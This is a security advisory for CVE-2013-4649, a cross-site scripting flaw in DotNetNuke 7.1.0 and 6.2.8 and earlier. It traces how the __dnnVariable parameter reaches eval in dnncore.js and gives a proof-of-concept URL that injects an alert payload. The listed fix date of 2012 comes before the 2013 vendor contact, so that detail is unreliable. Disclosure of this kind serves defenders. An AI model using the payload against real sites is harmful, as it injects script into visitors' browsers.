Title: DotNetNuke (DNN) Cross-Site Scripting Vulnerability References: CVE-2013-4649 Discovered by: Sajjad Pourali , Nasser Salim Al-Hadhrami Vendor http://dnnsoftware.com/ Vendor advisory: http://www.dnnsoftware.com/Platform/Manage/Security-Bulletins (2013-07) Vendor contact: 2013-06-23 Vendor response: 2013-06-24 (Cathal Connolly from DotNetNuke) Vendor fix and announcement: 2012-08-14 Solution: Update To (6.2.9/7.1.1) Remote: yes Authentication required: no User interaction required: yes Impact: Medium Affected: - DNN 7.1.0 and earlier - DNN 6.2.8 and earlier Not affected: - DNN 7.1.1 - DNN 6.2.9 --- Trace vulnerable place: http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} : ... <input name="__dnnVariable" type="hidden" id="__dnnVariable" autocomplete="off" value="`{`__dnn_pageload`:`alert(/XSS/)`,`__scdoff`:`1`}" /> ... http://www.vulnerable.com/js/dnn.js : ... Type.registerNamespace("dnn"); ... http://www.vulnerable.com/js/dnncore.js : ... function __dnn_ClientAPIEnabled() { return typeof (dnn) != "undefined" } ... if (__dnn_ClientAPIEnabled()) { var sLoadHandlers = dnn.getVar("__dnn_pageload"); if (sLoadHandlers != null) { eval(sLoadHandlers) } dnn.dom.attachEvent(window, "onscroll", __dnn_bodyscroll) } __dnn_m_bPageLoaded = true } ... --- PoC: http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} --- + Sajjad Pourali + http://www.securation.com/ + http://www.cert.um.ac.ir/ + Contact: sajjad[at]securation.com